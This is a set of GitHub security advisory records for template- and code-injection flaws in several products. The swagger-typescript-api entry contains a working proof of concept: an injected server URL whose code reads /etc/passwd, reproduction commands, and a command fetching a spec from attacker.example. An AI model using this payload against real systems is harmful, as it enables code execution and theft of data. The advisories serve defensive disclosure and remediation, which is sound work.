CWE-1336

{
  "affected": [],
  "aliases": [
    "CVE-2026-75574"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T02:16:51Z",
    "severity": "HIGH"
  },
  "details": "The Grav Email plugin (getgrav/grav-plugin-email) before 4.2.2 renders page-editor-controlled Email action parameters as unsandboxed Twig templates. An authenticated remote user with only api.access and api.pages.write permissions can place a Twig expression in header.form.process.email.body, publish the page, and submit the form to execute an arbitrary operating-system command as the account running PHP.",
  "id": "GHSA-3625-697m-q29v",
  "modified": "2026-08-25T03:32:10Z",
  "published": "2026-08-25T03:32:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-gh8j-q67c-j53f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75574"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-remote-code-execution-via-email-twig"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-27662"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-05T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "On F5 Traffix SDC 5.2.x versions prior to 5.2.2 and 5.1.x versions prior to 5.1.35, a stored Cross-Site Template Injection vulnerability exists in an undisclosed page of the Traffix SDC Configuration utility that allows an attacker to execute template language-specific instructions in the context of the server. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated",
  "id": "GHSA-366h-grhq-r9jr",
  "modified": "2022-05-14T00:01:34Z",
  "published": "2022-05-06T00:00:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27662"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K24248011"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-66437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T18:15:48Z",
    "severity": "HIGH"
  },
  "details": "An SSTI (Server-Side Template Injection) vulnerability exists in the get_address_display method of Frappe ERPNext through 15.89.0. This function renders address templates using frappe.render_template() with a context derived from the address_dict parameter, which can be either a dictionary or a string referencing an Address document. Although ERPNext uses a custom Jinja2 SandboxedEnvironment, dangerous functions like frappe.db.sql remain accessible via get_safe_globals(). An authenticated attacker with permission to create or modify an Address Template can inject arbitrary Jinja expressions into the template field. By creating an Address document with a matching country, and then calling the get_address_display API with address_dict=\"address_name\", the system will render the malicious template using attacker-controlled data. This leads to server-side code execution or database information disclosure.",
  "id": "GHSA-36qq-9v26-crfg",
  "modified": "2025-12-16T18:31:31Z",
  "published": "2025-12-15T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66437"
    },
    {
      "type": "WEB",
      "url": "https://iamanc.github.io/post/erpnext-ssti-bug-4"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/SSTI-bug-4-239e6086eadc80aa9331fba874c674a5?source=copy_link"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-40900"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T14:16:27Z",
    "severity": "MODERATE"
  },
  "details": "An Angular template injection vulnerability was discovered in the Reports functionality due to improper validation of an input parameter. An authenticated user with report privileges can define a malicious report containing an Angular template payload, or a victim can be socially engineered to import a malicious report template. When the victim views or imports the report, the Angular template executes in their browser context, allowing the attacker to modify application data, or disrupt application availability. Full XSS exploitation and direct information disclosure are prevented by the existing input validation and Content Security Policy configuration.",
  "id": "GHSA-36vw-4j29-fg6f",
  "modified": "2026-06-09T12:32:01Z",
  "published": "2026-05-19T15:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40900"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-827968.html"
    },
    {
      "type": "WEB",
      "url": "https://security.nozominetworks.com/NN-2026:3-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-65602"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-10T20:16:21Z",
    "severity": "CRITICAL"
  },
  "details": "A template injection vulnerability in the /vip/v1/file/save component of ChanCMS v3.3.4 allows attackers to execute arbitrary code via a crafted POST request.",
  "id": "GHSA-374c-2pvv-fxf5",
  "modified": "2025-12-17T21:30:41Z",
  "published": "2025-12-10T21:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65602"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/chancms/ChanCMS"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/ChanCMS-Unauthenticated-RCE-2a3ee9235ba380fc9973e16c06258689"
    },
    {
      "type": "WEB",
      "url": "https://www.notion.so/ChanCMS-Unauthenticated-RCE-2a3ee9235ba380fc9973e16c06258689?source=copy_link"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-87021"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T03:17:25Z",
    "severity": "HIGH"
  },
  "details": "Tanium addressed an unauthorized code execution vulnerability in Comply.",
  "id": "GHSA-37q3-xf78-2773",
  "modified": "2026-09-09T03:30:46Z",
  "published": "2026-09-09T03:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87021"
    },
    {
      "type": "WEB",
      "url": "https://security.tanium.com/TAN-2026-040"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.60.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "datamodel-code-generator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.17.0"
            },
            {
              "fixed": "0.60.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54653"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T21:48:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`datamodel-code-generator` is vulnerable to code injection when generating Python models from an attacker-controlled JSON Schema, OpenAPI, YAML, JSON, Avro, Protobuf, or XSD schema. When a property carries a `\"default_factory\"` key, its value is interpolated verbatim \u2014 as a raw Python expression \u2014 into the generated `Field(default_factory=...)` / `field(default_factory=...)` call. Because this assignment is evaluated at class-definition time (i.e. on `import` of the generated module), an attacker who controls the schema controls a Python expression that runs in the consumer\u0027s process. No special CLI flags are required.\n\n### Details\n\nThe vulnerable chain spans the JSON-Schema-shaped parser and three sink locations (Pydantic v2, dataclass, msgspec):\n\n**Source \u2014 schema \u2192 `extras`**:\n\n- `src/datamodel_code_generator/parser/jsonschema.py:600-614` \u2014 `DEFAULT_FIELD_KEYS` includes the literal string `\"default_factory\"`.\n- `src/datamodel_code_generator/parser/jsonschema.py:457-459` \u2014 `JsonSchemaObject.__init__` stores any non-standard key (including `default_factory`) in `self.extras`.\n- `src/datamodel_code_generator/parser/jsonschema.py:797-812` \u2014 `get_field_extras` preserves `default_factory` through to the field model.\n\n**Sinks \u2014 `extras` \u2192 generated Python expression**:\n\n1. `src/datamodel_code_generator/model/pydantic_base.py:222-249`:\n\n   ```python\n   default_factory = data.pop(\"default_factory\", None)\n   ...\n   if default_factory is not None:\n       field_arguments = [f\"default_factory={default_factory}\", *field_arguments]\n   ```\n\n   The `default_factory` value is interpolated raw (no `repr()`, no validation).\n\n2. `src/datamodel_code_generator/model/dataclass.py:211`:\n\n   ```python\n   f\"{k}={v if k == \u0027default_factory\u0027 else repr(v)}\"\n   ```\n\n   Explicit special-case to skip `repr()` for `default_factory`.\n\n3. `src/datamodel_code_generator/model/msgspec.py:361` \u2014 same pattern as dataclass.\n\nBecause `default_factory` is in `DEFAULT_FIELD_KEYS`, no special CLI flag is needed to reach the sink. Any input format that uses the JSON-Schema-shaped parser (`jsonschema`, `openapi`, `yaml`, `json`, `dict`, `csv`) \u2014 and any input format that converts to it (`avro`, `protobuf`, `xmlschema`) \u2014 is in scope.\n\n### Confirmed PoC matrix\n\n| Input file type | Output model type | Result |\n|---|---|---|\n| `jsonschema` | `pydantic_v2.BaseModel` | RCE on import |\n| `jsonschema` | `dataclasses.dataclass` | RCE on import |\n| `jsonschema` | `msgspec.Struct` | RCE on import |\n| `jsonschema` | `typing.TypedDict` | safe (TypedDict doesn\u0027t render `field()`; `default_factory` silently dropped) |\n| `openapi`    | `pydantic_v2.BaseModel` | RCE on import |\n\nOther JSON-Schema-shaped inputs (`yaml`, `json`, `dict`, `csv`, `avro`, `protobuf`, `xmlschema`) follow the same code path and are expected to reproduce.\n\n### PoC\nSelf contained Proof of Concept is available at my secret gist: https://gist.github.com/thegr1ffyn/9648b0fe4fcf7d569ac8e61dd11eebaf\n\n### Impact\n\n- **Who\u0027s affected**: any developer or CI pipeline that runs `datamodel-codegen` against a schema they didn\u0027t author themselves \u2014 third-party API specs, schemas pulled from a registry, vendored upstream `.json` / `.yaml` / `.avsc` / `.proto` / `.xsd` files, schemas fetched from a remote URL or introspection endpoint \u2014 *and* who imports the generated `.py`.\n- **What it gains**: arbitrary Python code execution in the importer\u0027s process at `import` time. The PoC copies `/etc/passwd` to a tmp file to demonstrate arbitrary read; the same primitive supports any operation the importing process can perform (filesystem write, environment exfiltration, secondary network calls, RCE on CI runners).\n- **What it does NOT need**: no special CLI flags, no custom templates, no `--extra-template-data`, no `--use-schema-description`. Default invocation against a malicious schema is sufficient.\n- **What does block it**: choosing `--output-model-type typing.TypedDict` (which doesn\u0027t render `field()` / `Field()` calls). All other supported output model types are vulnerable.\n\n### Resolution\n\nThe fix validates schema-provided `default_factory` values while extracting JSON Schema field extras. Only the supported factory names `dict`, `list`, and `set` are accepted; any other value now raises a generator error before code generation. Generator-created default factories for supported mutable defaults and optional nested models continue to use the existing code paths.\n\n### Remediation\n\nUpgrade to `datamodel-code-generator` `0.60.2` or later.\n\nThis issue affects `datamodel-code-generator` versions `\u003e= 0.17.0, \u003c= 0.60.1` and is fixed in `0.60.2`.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-386q-5hp3-95m9",
  "modified": "2026-07-28T21:48:14Z",
  "published": "2026-07-28T21:48:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-386q-5hp3-95m9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/commit/17fc235e234cbcfaaadef8c74cb72c9687db0d1d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koxudaxi/datamodel-code-generator"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.60.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`datamodel-code-generator` vulnerable to code injection in via attacker-controlled `default_factory` schema field"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:31:15Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`swagger-typescript-api` interpolates `servers[0].url` directly into a TypeScript string literal inside the `HttpClient` constructor body of the generated **axios** client (`templates/base/http-clients/axios-http-client.ejs:71`), without any escaping. A malicious URL containing a `\"` closes the string literal and exposes the surrounding *object-literal argument* of `axios.create({...})` to injection. A computed property key whose value is an IIFE executes arbitrary code every time `new HttpClient()` (or `new Api()`, which extends `HttpClient`) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process\u0027s privileges.\n\nThis is the *axios* sibling of the previously reported fetch-client RCE \u2014 same upstream variable (`apiConfig.baseUrl`, sourced from `servers[0].url`), same root cause class (raw `\u003c%~ %\u003e` interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix \u2014 sanitizing `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591` \u2014 closes both at once.\n\n### Details\n\n`createApiConfig` in `src/code-gen-process.ts:591` sets the templated `baseUrl` from the spec without sanitization:\n\n```ts\nreturn {\n  ...\n  baseUrl: serverUrl,     // \u003c-- serverUrl = swaggerSchema.servers[0].url, raw\n  ...\n};\n```\n\nThe axios http-client template (`templates/base/http-clients/axios-http-client.ejs:71`) then interpolates that value into a TS string literal inside the `HttpClient` constructor body:\n\n```ejs\nconstructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig\u003cSecurityDataType\u003e = {}) {\n    this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || \"\u003c%~ apiConfig.baseUrl %\u003e\" })\n    ...\n}\n```\n\n`\u003c%~ %\u003e` is Eta\u0027s raw, unescaped interpolation. The codebase\u0027s only escape function \u2014 `escapeJSDocContent` (`src/schema-parser/schema-formatters.ts:127`) \u2014 only replaces `*/` and is not applied to this path.\n\nThe injection sits inside a JavaScript *object literal* (the argument to `axios.create({...})`), so simple statement-level injection is not directly possible \u2014 but **computed property keys** are. A spec value of the form:\n\n```\nURL\", [(IIFE)()]: 0, dummy: \"\n```\n\nproduces the following object literal:\n\n```js\naxios.create({\n  ...axiosConfig,\n  baseURL: axiosConfig.baseURL || \"URL\",\n  [(IIFE)()]: 0,\n  dummy: \"\"\n})\n```\n\nThe IIFE evaluates eagerly when the object literal is constructed \u2014 i.e. every time `new HttpClient()` runs. The trailing `dummy: \"\"` reopens a string that the template\u0027s own closing `\"` terminates, keeping the file syntactically valid TypeScript.\n\n**Lifecycle compared to the fetch sink:** the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on `new HttpClient()`. In practice the trigger window is identical, because:\n\n- Every README example in this repository does `const api = new Api()` at module top level.\n- `Api` (in `default/api.ejs`) extends `HttpClient`, so `new Api()` invokes the `HttpClient` constructor via `super()`.\n- Top-level `const api = new Api()` runs at module load \u2014 the consumer cannot import without instantiating in the documented usage pattern.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 instantiate \u2192 check canary). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious `servers[0].url`** (literal string, JSON-encoded in the spec below):\n\n```\nhttps://api.example.com\", [(async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} return \u0027pwned\u0027; })()]: 0, dummy: \"\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"AxiosPayloadAPI\", \"version\": \"1.0.0\" },\n  \"servers\": [\n    {\n      \"url\": \"https://api.example.com\\\", [(async () =\u003e { try { const fs = await import(\u0027node:fs\u0027); const data = fs.readFileSync(\u0027/etc/passwd\u0027, \u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027, data); } catch (e) {} return \u0027pwned\u0027; })()]: 0, dummy: \\\"\"\n    }\n  ],\n  \"paths\": {\n    \"/ping\": {\n      \"get\": {\n        \"operationId\": \"ping\",\n        \"responses\": { \"200\": { \"description\": \"OK\" } }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild axios\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n  input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027axios\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --external:axios --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n  const mod = await import(\u0027./out/Api.bundle.mjs\u0027);\n  new mod.HttpClient();\n  await new Promise(r =\u003e setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (constructor \u2014 payload, Biome-formatted):**\n\n```ts\nconstructor({\n  securityWorker,\n  secure,\n  format,\n  ...axiosConfig\n}: ApiConfig\u003cSecurityDataType\u003e = {}) {\n  this.instance = axios.create({\n    ...axiosConfig,\n    baseURL: axiosConfig.baseURL || \"https://api.example.com\",\n    [(async () =\u003e {\n      try {\n        const fs = await import(\"node:fs\");\n        const data = fs.readFileSync(\"/etc/passwd\", \"utf8\");\n        fs.writeFileSync(\"/tmp/sta_canary\", data);\n      } catch (e) {}\n      return \"pwned\";\n    })()]: 0,\n    dummy: \"\",\n  });\n  this.secure = secure;\n  this.format = format;\n  this.securityWorker = securityWorker;\n}\n```\n\nThe `[(async () =\u003e { ... })()]: 0` is a real computed object-literal key \u2014 Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the `axios.create({...})` argument is constructed (during the `HttpClient` constructor), schedules `fs.readFileSync(\u0027/etc/passwd\u0027)`, and writes the exfiltrated contents to `/tmp/sta_canary`.\n\n**Result:** after `new HttpClient()`, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`servers[0].url: \"https://api.example.com\"`) generates a clean `baseURL: ... || \"https://api.example.com\"` and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` with `httpClientType: \"axios\"` (or `--http-client axios`) against an OpenAPI spec they did not author entirely:\n\n- `sta generate --http-client axios --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR.\n\n**Lifecycle:** the injected IIFE fires when `new HttpClient()` is constructed. In the standard usage pattern (`const api = new Api()` at module top level), this is effectively at first import \u2014 `Api extends HttpClient` and the `super()` call invokes the affected constructor. A consumer cannot use the generated client without constructing it.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process \u2014 read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc.\n\n**Suggested fix:** sanitize `apiConfig.baseUrl` once at the source in `src/code-gen-process.ts:591`:\n\n```ts\n// in createApiConfig\nbaseUrl: escapeJsStringLiteral(serverUrl),\n```\n\nwhere `escapeJsStringLiteral` produces a properly-escaped JS string literal \u2014 at minimum escaping `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators ` ` / ` `. `JSON.stringify(serverUrl).slice(1, -1)` is a one-line acceptable implementation. **This single change closes both this advisory and the previously reported fetch-client variant** without further template edits.\n\nIf a template-side fix is preferred instead, both `templates/base/http-clients/fetch-http-client.ejs:75` and `templates/base/http-clients/axios-http-client.ejs:71` need their `\u003c%~ apiConfig.baseUrl %\u003e` swapped for the escaped form \u2014 fixing only one leaves the other exploitable.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-38c3-wv3c-v3xj",
  "modified": "2026-07-29T14:31:15Z",
  "published": "2026-07-29T14:31:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-38c3-wv3c-v3xj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symbiote/silverstripe-advancedworkflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symbiote/silverstripe-advancedworkflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "symbiote/silverstripe-advancedworkflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.2.0"
            },
            {
              "fixed": "7.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-27T17:20:40Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nThe advanced workflow email template field is vulnerable to a specially crafted payload that can be used to run arbitrary code on the server.\n\n### Reported by\nSteve Boyd\nSilverstripe Ltd.",
  "id": "GHSA-39mm-rwm3-29jp",
  "modified": "2026-08-27T17:20:40Z",
  "published": "2026-08-27T17:20:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/silverstripe/silverstripe-advancedworkflow/security/advisories/GHSA-39mm-rwm3-29jp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/silverstripe/silverstripe-advancedworkflow/pull/629"
    },
    {
      "type": "WEB",
      "url": "https://github.com/silverstripe/silverstripe-advancedworkflow/pull/630"
    },
    {
      "type": "WEB",
      "url": "https://github.com/silverstripe/silverstripe-advancedworkflow/commit/28d0b536491e5c68b1c445579bdd1ddc8beaf8bb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/silverstripe/silverstripe-advancedworkflow/commit/f170766af992ed2ed3e5f21d127d0d0d3129678b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/symbiote/silverstripe-advancedworkflow/CVE-2026-54718.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/silverstripe/silverstripe-advancedworkflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/silverstripe/silverstripe-advancedworkflow/releases/tag/6.4.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/silverstripe/silverstripe-advancedworkflow/releases/tag/7.1.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/silverstripe/silverstripe-advancedworkflow/releases/tag/7.2.1"
    },
    {
      "type": "WEB",
      "url": "https://www.silverstripe.org/download/security-releases/cve-2026-54718"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "silverstripe-advancedworkflow vulnerable to remote code execution via advanced workflow email template"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-32406"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-26T04:15:09Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Template Injection (SSTI) vulnerability in inducer relate before v.2024.1 allows a remote attacker to execute arbitrary code via a crafted payload to the Batch-Issue Exam Tickets function.",
  "id": "GHSA-3jgv-pfqj-v626",
  "modified": "2024-07-03T18:36:57Z",
  "published": "2024-04-26T06:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32406"
    },
    {
      "type": "WEB",
      "url": "https://packetstormsecurity.com/files/178251/Relate-Learning-And-Teaching-System-SSTI-Remote-Code-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}